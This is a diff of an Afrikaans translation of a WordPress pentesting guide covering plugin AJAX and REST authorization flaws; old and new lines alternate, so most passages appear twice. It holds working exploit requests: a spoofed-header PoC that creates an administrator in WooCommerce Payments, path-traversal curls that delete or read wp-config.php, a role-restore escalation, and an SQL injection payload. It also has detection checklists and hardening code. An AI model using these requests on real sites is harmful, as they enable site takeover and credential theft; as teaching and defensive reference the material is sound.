Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, outorisering of verifikasiefoute bevat. Boonop is dit 'n soort van gereeld dat hierdie funksies beide die verifikasie en outorisering op die bestaan van 'n wordpress nonce sal baseer wat **enige gebruiker wat in die Wordpress-instantie geverifieer is, mag hê** (ongeag sy rol).
|
||||
Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX handlers. Hierdie kan logika-, authorization- of authentication-bugs bevat. Verder is dit dikwels dat hierdie funksies beide die authentication en authorization gaan baseer op die bestaan van 'n Wordpress nonce wat **enige gebruiker wat in die Wordpress-instansie geauthentiseer is mag hê** (onafhanklik van sy rol).
|
||||
|
||||
Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**Die gebruik van `nopriv` maak die eindpunt toeganklik vir enige gebruikers (selfs nie-geverifieerde nie).**
|
||||
**Die gebruik van `nopriv` maak die eindpunt toeganklik vir enige gebruikers (selfs ongeauthentiseerde gebruikers).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Boonop, as die funksie net die magtiging van die gebruiker met die funksie `wp_verify_nonce` nagaan, dan kyk hierdie funksie net of die gebruiker ingelog is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae bevoorregte gebruikers mag toegang hê tot hoë bevoorregte aksies.
|
||||
> Verder, as die funksie net die outorisering van die gebruiker kontroleer met die funksie `wp_verify_nonce`, hierdie funksie kontroleer net dat die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan gebruikers met lae voorregte toegang hê tot aksies met hoë voorregte.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n rest AP te registreer met die `register_rest_route` funksie:
|
||||
Dit is ook moontlik om funksies van WordPress bloot te stel deur 'n REST API te registreer met die funksie `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,23 +363,68 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
Die `permission_callback` is 'n terugroep funksie wat nagaan of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.
|
||||
Die `permission_callback` is 'n callback-funksie wat kontroleer of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.
|
||||
|
||||
**As die ingeboude `__return_true` funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.**
|
||||
|
||||
- **Direkte toegang tot die php-lêer**
|
||||
|
||||
Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lêer te benader, sal dit deur enige gebruiker uitgebuit kan word.
|
||||
Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. Dus, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat net deur toegang tot die lêer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word.
|
||||
|
||||
### Ongeauthentiseerde Willekeurige Lêer Verwydering via wp_ajax_nopriv (Litho Tema <= 3.0)
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
WordPress temas en plugins stel dikwels AJAX-handelaars bloot deur die `wp_ajax_` en `wp_ajax_nopriv_` haak. Wanneer die **_nopriv_** variasie gebruik word **word die terugroep bereikbaar vir ongeauthentiseerde besoekers**, so enige sensitiewe aksie moet addisioneel implementeer:
|
||||
Sommige plugins implementeer "trusted header" kortpaaie vir interne integrasies of reverse proxies en gebruik daardie header om die huidige gebruikerskonteks vir REST-versoeke te stel. As die header nie kriptografies aan die versoek gebind is deur 'n upstream-komponent nie, kan 'n aanvaller dit spoof en geprivilegieerde REST-roetes as administrator tref.
|
||||
|
||||
1. 'n **kapasiteitskontrole** (bv. `current_user_can()` of ten minste `is_user_logged_in()`), en
|
||||
- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (dwing user ID 1 af, tipies die eerste administrator-rekening).
|
||||
- Geëksploiteerde roete: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
|
||||
PoC
|
||||
```http
|
||||
POST /wp-json/wp/v2/users HTTP/1.1
|
||||
Host: <WP HOST>
|
||||
User-Agent: Mozilla/5.0
|
||||
Accept: application/json
|
||||
Content-Type: application/json
|
||||
X-Wcpay-Platform-Checkout-User: 1
|
||||
Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Hoekom dit werk
|
||||
|
||||
- Die plugin koppel 'n kliënt-beheerde header aan die outentikasie‑status en slaan capability checks oor.
|
||||
- WordPress‑kern verwag die `create_users` capability vir hierdie route; die plugin‑hack omseil dit deur die huidige gebruiker‑konteks direk vanaf die header te stel.
|
||||
|
||||
Verwagte sukses-aanwysers
|
||||
|
||||
- HTTP 201 met 'n JSON-lichaam wat die geskepte gebruiker beskryf.
|
||||
- 'n Nuwe admin‑gebruiker sigbaar in `wp-admin/users.php`.
|
||||
|
||||
Opsporingskontrolelys
|
||||
|
||||
- Grep na `getallheaders()`, `$_SERVER['HTTP_...']`, of vendor SDKs wat custom headers lees om gebruiker‑konteks te stel (bv. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Hersien REST‑registrasies vir bevoorregte callbacks wat nie sterk `permission_callback` kontroles het nie en in plaas daarvan op versoek‑headers staatmaak.
|
||||
- Kyk vir gebruike van kern gebruikers‑bestuursfunksies (`wp_insert_user`, `wp_create_user`) binne REST‑handlers wat slegs deur header‑waardes gegrens is.
|
||||
|
||||
Verharding
|
||||
|
||||
- Moet nooit outentikasie of autorisasie aflei van kliënt‑beheerde headers nie.
|
||||
- Indien 'n reverse proxy identiteit moet inspuit, beëindig vertroue by die proxy en verwyder inkomende kopieë (bv. `unset X-Wcpay-Platform-Checkout-User` by die edge), en stuur dan 'n ondertekende token en verifieer dit server‑kant.
|
||||
- Vir REST‑routes wat bevoorregte aksies uitvoer, vereis `current_user_can()` kontroles en 'n streng `permission_callback` (MOET NIE `__return_true` gebruik nie).
|
||||
- Gee voorkeur aan first‑party auth (cookies, application passwords, OAuth) bo header “impersonation”.
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
|
||||
### Nie-geauthentiseerde arbitrêre lêerverwydering via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes en plugins stel dikwels AJAX‑handlers bloot via die `wp_ajax_` en `wp_ajax_nopriv_` hooks. Wanneer die **_nopriv_** variant gebruik word **word die callback vir nie-geauthentiseerde besoekers bereikbaar**, dus moet enige sensitiewe aksie addisioneel die volgende implementeer:
|
||||
|
||||
1. 'n **capability check** (bv. `current_user_can()` of minstens `is_user_logged_in()`), en
|
||||
2. 'n **CSRF nonce** gevalideer met `check_ajax_referer()` / `wp_verify_nonce()`, en
|
||||
3. **Streng invoer sanitisering / validasie**.
|
||||
3. **Streng inset‑sanitisering / validasie**.
|
||||
|
||||
Die Litho multipurpose tema (< 3.1) het daardie 3 kontroles in die *Verwyder Font Familie* kenmerk vergeet en het uiteindelik die volgende kode gestuur (vereenvoudig):
|
||||
Die Litho multipurpose theme (< 3.1) het daardie drie kontroles in die *Remove Font Family* funksie vergeet en het uiteindelik die volgende kode saamgestuur (vereenvoudig):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -398,31 +443,31 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Probleme wat deur hierdie snit ingebring word:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
* **Nie-geverifieerde toegang** – die `wp_ajax_nopriv_` haak is geregistreer.
|
||||
* **Geen nonce / vermoë kontrole nie** – enige besoeker kan die eindpunt bereik.
|
||||
* **Geen pad sanitisering nie** – die gebruiker-beheerde `fontfamily` string word aan 'n lêerstelsel pad gekonkateneer sonder filtrering, wat klassieke `../../` traversie toelaat.
|
||||
* **Ongeauthentiseerde toegang** – die `wp_ajax_nopriv_` hook is geregistreer.
|
||||
* **Geen nonce / capability check** – enige besoeker kan die endpoint tref.
|
||||
* **Geen pad-sanitisasie** – die deur gebruiker beheerde `fontfamily` string word sonder filtrering by 'n lêerstelsel-pad gevoeg, wat klassieke `../../` traversal moontlik maak.
|
||||
|
||||
#### Exploitatie
|
||||
#### Uitbuiting
|
||||
|
||||
'n Aanvaller kan enige lêer of gids **onder die uploads basisgids** (normaalweg `<wp-root>/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST versoek te stuur:
|
||||
'n aanvaller kan enige lêer of gids **onder die uploads base directory** (normaalweg `<wp-root>/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST versoek te stuur:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Omdat `wp-config.php` buite *uploads* woon, is vier `../` volgordes genoeg op 'n standaard installasie. Die verwydering van `wp-config.php` dwing WordPress in die *installasiewizard* by die volgende besoek, wat 'n volle webwerf oorneem moontlik maak (die aanvaller verskaf eenvoudig 'n nuwe DB-konfigurasie en skep 'n admin gebruiker).
|
||||
Aangesien `wp-config.php` buite *uploads* geleë is, is vier `../`-reekse genoeg op 'n standaardinstallasie. Om `wp-config.php` te verwyder dwing WordPress by die volgende besoek in die *installasie-assistent*, en stel 'n volledige webwerf-oorname in staat (die aanvaller voorsien net 'n nuwe DB-konfigurasie en skep 'n admin-gebruiker).
|
||||
|
||||
Ander impakvolle teikens sluit plugin/tema `.php` lêers in (om sekuriteitsplugins te breek) of `.htaccess` reëls.
|
||||
Ander impakvolle teikens sluit in plugin/theme `.php` lêers (om security plugins te breek) of `.htaccess` reëls.
|
||||
|
||||
#### Ontdekkingskontrolelys
|
||||
#### Opsporingskontrolelys
|
||||
|
||||
* Enige `add_action( 'wp_ajax_nopriv_...')` terugroep wat lêersisteem helpers aanroep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ens.).
|
||||
* Samevoeging van ongesanitiseerde gebruikersinvoer in paaie (soek na `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Enige `add_action( 'wp_ajax_nopriv_...')` callback wat filesystem helpers aanroep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Samevoeging van ongesuiwerde gebruikersinvoer in paaie (soek na `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Afwesigheid van `check_ajax_referer()` en `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Versterking
|
||||
#### Verharding
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
@ -442,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Behandel** enige skryf/verwyder operasie op skyf altyd as bevoorreg en dubbelkontroleer:
|
||||
> • Verifikasie • Magtiging • Nonce • Invoer sanitasie • Padbeperking (bv. via `realpath()` plus `str_starts_with()`).
|
||||
> **Altyd** behandel enige skryf/verwyder-aksie op skyf as geprivilegieerd en kontroleer dit dubbel:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Bevoegdheidstoename via verouderde rolherstel en ontbrekende magtiging (ASE "Sien Admin as Rol")
|
||||
### Privilege escalation via verouderde rolherstel en ontbrekende authorization (ASE "View Admin as Role")
|
||||
|
||||
Baie plugins implementeer 'n "sien as rol" of tydelike rol-wissel funksie deur die oorspronklike rol(le) in gebruikersmeta te stoor sodat dit later herstel kan word. As die herstelpad slegs op versoekparameters staatmaak (bv., `$_REQUEST['reset-for']`) en 'n plugin-onderhoubare lys sonder om vermoëns en 'n geldige nonce te kontroleer, word dit 'n vertikale bevoegdheidstoename.
|
||||
Baie plugins implementeer 'n "view as role" of tydelike rol-wissel funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op request parameters staatmaak (bv. `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys sonder om capabilities en 'n geldige nonce na te gaan, word dit 'n vertical privilege escalation.
|
||||
|
||||
'n Werklike voorbeeld is gevind in die Admin en Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset tak het rolle herstel gebaseer op `reset-for=<username>` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het nie 'n `current_user_can()` kontrole of 'n nonce verifikasie uitgevoer voordat dit huidige rolle verwyder en die gestoor rolle van gebruikersmeta `_asenha_view_admin_as_original_roles` weer bygevoeg het:
|
||||
'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-vertakking het rolle herstel gebaseer op `reset-for=<username>` indien die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het nie 'n `current_user_can()`-kontrole uitgevoer nie en ook nie 'n nonce-verifikasie gedoen voordat dit die huidige rolle verwyder en die gestoor rolle uit die user meta `_asenha_view_admin_as_original_roles` weer bygevoeg het nie:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -466,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Waarom dit exploiteerbaar is
|
||||
Waarom dit uitbuitbaar is
|
||||
|
||||
- Vertrou op `$_REQUEST['reset-for']` en 'n plugin opsie sonder server-kant outorisering.
|
||||
- As 'n gebruiker voorheen hoër bevoegdhede in `_asenha_view_admin_as_original_roles` gehad het en verlaag is, kan hulle dit herstel deur die reset pad te volg.
|
||||
- In sommige implementasies kan enige geverifieerde gebruiker 'n reset vir 'n ander gebruikersnaam wat steeds in `viewing_admin_as_role_are` teenwoordig is, aktiveer (gebroke outorisering).
|
||||
- Vertrou op `$_REQUEST['reset-for']` en 'n plugin-opsie sonder server-side magtiging.
|
||||
- As 'n gebruiker vroeër hoër voorregte in `_asenha_view_admin_as_original_roles` gestoor gehad het en gedegradeer is, kan hulle dit herstel deur die reset path te tref.
|
||||
- In sommige implementasies kan enige authenticated user 'n reset vir 'n ander gebruikersnaam uitlok wat nog in `viewing_admin_as_role_are` teenwoordig is (broken authorization).
|
||||
|
||||
Aanval vereistes
|
||||
Vereistes vir aanval
|
||||
|
||||
- Kwetsbare plugin weergawe met die funksie geaktiveer.
|
||||
- Teiken rekening het 'n verouderde hoë-bevoegdheid rol gestoor in gebruikersmeta van vroeëre gebruik.
|
||||
- Enige geverifieerde sessie; ontbrekende nonce/kapasiteit op die reset vloei.
|
||||
- Kwetsbare plugin-weergawe met die kenmerk aangeskakel.
|
||||
- Teikenrekening het 'n verouderde hoë-privilegie-rol in user meta gestoor vanaf vroeër gebruik.
|
||||
- Any authenticated session; nonce/capability ontbreek op die reset flow.
|
||||
|
||||
Eksploitatie (voorbeeld)
|
||||
Uitbuiting (voorbeeld)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
@ -486,60 +531,75 @@ Eksploitatie (voorbeeld)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Op kwesbare weergawes verwyder dit huidige rolle en voeg die gestoor oorspronklike rolle (bv. `administrator`) weer by, wat effektief voorregte verhoog.
|
||||
Op kwesbare builds verwyder dit die huidige rolle en voeg die gestoorde “originele rolle” weer by (bv. `administrator`), wat effektief privileges eskaleer.
|
||||
|
||||
Detectie kontrolelys
|
||||
Detection checklist
|
||||
|
||||
- Soek na rol-wissel funksies wat “oorspronklike rolle” in gebruikersmeta behou (bv. `_asenha_view_admin_as_original_roles`).
|
||||
- Identifiseer reset/herstel paaie wat:
|
||||
- Gebruikersname lees van `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Rolle wysig via `add_role()` / `remove_role()` sonder `current_user_can()` en `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Magtig op grond van 'n plugin opsie array (bv. `viewing_admin_as_role_are`) in plaas van die akteur se vermoëns.
|
||||
- Kyk na rol-wissel funksies wat “originele rolle” in user meta bewaar (bv. `_asenha_view_admin_as_original_roles`).
|
||||
- Identifiseer reset/restore-paaie wat:
|
||||
- Lees gebruikersname uit `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Wysig rolle via `add_role()` / `remove_role()` sonder `current_user_can()` en `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Authoriseer gebaseer op 'n plugin opsie-array (bv. `viewing_admin_as_role_are`) in plaas van die actor’s capabilities.
|
||||
|
||||
Versterking
|
||||
Hardening
|
||||
|
||||
- Handhaaf vermoënskontroles op elke staat-veranderende tak (bv. `current_user_can('manage_options')` of strenger).
|
||||
- Vereis nonces vir alle rol/toestemming mutasies en verifieer hulle: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Vertrou nooit op versoek-gelewerde gebruikersname nie; los die teiken gebruiker op die bediener-kant op grond van die geverifieerde akteur en eksplisiete beleid.
|
||||
- Ongeldig “oorspronklike rolle” toestand op profiel/rol opdaterings om verouderde hoë-voorreg herstel te vermy:
|
||||
- Dwing capability checks af op elke state-changing branch (bv. `current_user_can('manage_options')` of strenger).
|
||||
- Vereis nonces vir alle rol/permission mutasies en verifieer hulle: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Vertrou nooit request-verskafte gebruikersname nie; los die teikengebruiker server-side op gebaseer op die geauthentiseerde actor en 'n eksplisiete beleid.
|
||||
- Ongeldig maak die “originele rolle” staat by profiel-/rol-opdaterings om verouderde hoë-privilege herstel te voorkom:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Oorweeg om minimale toestand te stoor en tydsbeperkte, vermoë-gewakte tokens te gebruik vir tydelike rolwisselings.
|
||||
- Oorweeg om minimale toestand te stoor en tydelik-beperkte, vermoë-beskermde tokens vir tydelike rolwissels te gebruik.
|
||||
|
||||
---
|
||||
|
||||
## WordPress Beskerming
|
||||
### WAF-oorwegings vir WordPress/plugin CVEs
|
||||
|
||||
### Gereelde Opdaterings
|
||||
Generiese edge/server WAFs is op breë patrone (SQLi, XSS, LFI) ingestel. Baie hoë-impak WordPress/plugin-foute is toepassings-spesifieke logika/auth-bugs wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan.
|
||||
|
||||
Maak seker dat WordPress, plugins en temas op datum is. Bevestig ook dat outomatiese opdatering geaktiveer is in wp-config.php:
|
||||
Offensiewe notas
|
||||
|
||||
- Teiken plugin-spesifieke endpoints met skoon payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Oefen eers unauth-paaie (AJAX `nopriv`, REST met permissiewe `permission_callback`, openbare shortcodes). Standaard payloads slaag dikwels sonder obfuskasie.
|
||||
- Tipiese hoë-impakgevalle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Verdedigingsnotas
|
||||
|
||||
- Moet nie op generiese WAF-signature staatmaak om plugin CVEs te beskerm nie. Voer toepassing-laag, kwesbaarheid-spesifieke virtuele pleisters in of werk vinnig by.
|
||||
- Gee voorkeur aan positiewe sekuriteitskontroles in die kode (capabilities, nonces, strikte invoervalidasie) bo negatiewe regex-filters.
|
||||
|
||||
## WordPress-beskerming
|
||||
|
||||
### Gereelde opdaterings
|
||||
|
||||
Maak seker WordPress, plugins, en temas is op datum. Bevestig ook dat outomatiese opdatering in wp-config.php aangeskakel is:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Ook, **installeer slegs betroubare WordPress-inproppe en temas**.
|
||||
Ook, **installeer slegs betroubare WordPress plugins en themes**.
|
||||
|
||||
### Sekuriteitsinproppe
|
||||
### Sekuriteits-plugins
|
||||
|
||||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||||
|
||||
### **Ander Aanbevelings**
|
||||
### **Ander aanbevelings**
|
||||
|
||||
- Verwyder standaard **admin** gebruiker
|
||||
- Verwyder die standaard **admin** gebruiker
|
||||
- Gebruik **sterk wagwoorde** en **2FA**
|
||||
- Periodiek **hersien** gebruikers **toestemmings**
|
||||
- Gaan gebruikers se **toestemmings** periodiek na
|
||||
- **Beperk aanmeldpogings** om Brute Force-aanvalle te voorkom
|
||||
- Hernoem **`wp-admin.php`** lêer en laat slegs interne toegang toe of vanaf sekere IP-adresse.
|
||||
- Hernoem die **`wp-admin.php`** lêer en laat slegs interne toegang of toegang vanaf sekere IP-adresse toe.
|
||||
|
||||
### Ongeoutentiseerde SQL-inspuiting via onvoldoende validasie (WP Job Portal <= 2.3.2)
|
||||
### Ongemagtigde SQL Injection via onvoldoende validering (WP Job Portal <= 2.3.2)
|
||||
|
||||
Die WP Job Portal werwing-inprop het 'n **savecategory** taak blootgestel wat uiteindelik die volgende kwesbare kode binne `modules/category/model.php::validateFormData()` uitvoer:
|
||||
Die WP Job Portal recruitment plugin het 'n **savecategory** taak blootgestel wat uiteindelik die volgende kwesbare kode binne `modules/category/model.php::validateFormData()` uitvoer:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -549,19 +609,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Issues introduced by this snippet:
|
||||
Probleme wat deur hierdie kodefragment ingevoer is:
|
||||
|
||||
1. **Ongefilterde gebruikersinvoer** – `parentid` kom regstreeks van die HTTP-versoek.
|
||||
2. **String-konkatenasie binne die WHERE-klausule** – geen `is_numeric()` / `esc_sql()` / voorbereide verklaring.
|
||||
3. **Ongemagtigde bereikbaarheid** – alhoewel die aksie uitgevoer word deur `admin-post.php`, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan verkry vanaf 'n openbare bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit.
|
||||
1. **Ongefiltreerde gebruikersinvoer** – `parentid` kom reguit uit die HTTP-aanvraag.
|
||||
2. **String concatenation inside the WHERE clause** – geen `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – alhoewel die aksie uitgevoer word deur `admin-post.php`, die enigste kontrole in plek is 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan bekom vanaf 'n publieke bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit.
|
||||
|
||||
#### Exploitatie
|
||||
#### Uitbuiting
|
||||
|
||||
1. Kry 'n vars nonce:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Spuit arbitrêre SQL deur `parentid` te misbruik:
|
||||
2. Injiseer arbitrêre SQL deur `parentid` te misbruik:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -569,20 +629,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Die antwoord openbaar die resultaat van die ingespotte navraag of verander die databasis, wat SQLi bewys.
|
||||
Die reaksie openbaar die resultaat van die ingesette query of verander die databasis, wat SQLi bewys.
|
||||
|
||||
|
||||
### Ongemagtigde Arbitrêre Lêer Aflaai / Pad Traversal (WP Job Portal <= 2.3.2)
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Nog 'n taak, **downloadcustomfile**, het besoekers toegelaat om **enige lêer op skyf** af te laai via pad traversie. Die kwesbare sink is geleë in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` is aanvaller-beheerde en gekonkatenereer **sonder sanitasie**. Weer eens, die enigste hek is 'n **CSRF nonce** wat van die CV-bladsy afgehaal kan word.
|
||||
`$file_name` word deur die aanvaller beheer en gekonkateneer **sonder sanitisering**. Opnuut is die enigste hek 'n **CSRF nonce** wat vanaf die resume bladsy gehaal kan word.
|
||||
|
||||
#### Exploitatie
|
||||
#### Uitbuiting
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -591,7 +651,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Die bediener antwoord met die inhoud van `wp-config.php`, wat DB-akkrediteer en auth sleutels lek.
|
||||
Die bediener reageer met die inhoud van `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Verwysings
|
||||
|
||||
@ -599,5 +659,8 @@ Die bediener antwoord met die inhoud van `wp-config.php`, wat DB-akkrediteer en
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privileged-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user